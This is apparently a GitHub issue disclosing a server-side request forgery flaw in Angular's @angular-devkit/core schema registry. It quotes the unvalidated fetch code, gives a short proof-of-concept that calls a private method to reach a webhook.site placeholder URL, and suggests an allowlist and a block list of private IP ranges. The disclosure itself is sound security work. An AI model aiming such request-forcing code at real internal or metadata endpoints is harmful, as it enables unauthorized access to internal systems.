Skip to content

SSRF in CoreSchemaRegistry._fetch() allows arbitrary HTTP requests to internal/external URLs #32841

@ZeroXJacks

Description

@ZeroXJacks

Command

other

Is this a regression?

  • Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was

No response

Description

CoreSchemaRegistry._fetch() in @angular-devkit/core performs HTTP/HTTPS requests
to arbitrary URIs without any allowlist, blocklist, or hostname validation.

An attacker who controls a JSON schema value (e.g. via a malicious npm package,
a compromised config file, or user-supplied input passed to registry.compile())
can force the Node.js process to issue outbound HTTP requests to:

The vulnerable code registry.ts:

  private async _fetch(uri: string): Promise<JsonObject> {
    // No validation of uri whatsoever
    const url = new Url.URL(uri);
    const client = url.protocol === 'https:' ? https : http;
    client.get(url, (res) => { ... JSON.parse(data) ... });
  }

Minimal Reproduction

  1. npm install @angular-devkit/core

  2. Create trigger.mjs:

import { CoreSchemaRegistry } from '@angular-devkit/core/src/json/schema/registry.js';
const registry = new CoreSchemaRegistry();
try {
  await registry['_fetch']("https://webhook.site/YOUR-ID");
} catch(e) {
  console.log(e.message); // "Unexpected token" = request was made
}
  1. node trigger.mjs
  2. Check webhook.site — an incoming GET request confirms SSRF.
    Confirmed on @angular-devkit/core bundled with Angular CLI 21.2.3

Exception or Error

This error confirms the server received a response from the external URL,
proving the outbound HTTP request was successfully made.

Your Environment

Angular CLI: 21.2.3
Node: 24.11.1
Package Manager: npm
OS: Linux
@angular-devkit/core

Anything else relevant?

CWE-918: Server-Side Request Forgery
Recommended fix:

  • Add protocol allowlist: only allow https:
  • Add hostname blocklist: block 169.254.x.x, 10.x.x.x, 172.16.x.x, 127.x.x.x
  • Or: validate URI against a configurable allowlist before fetching

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions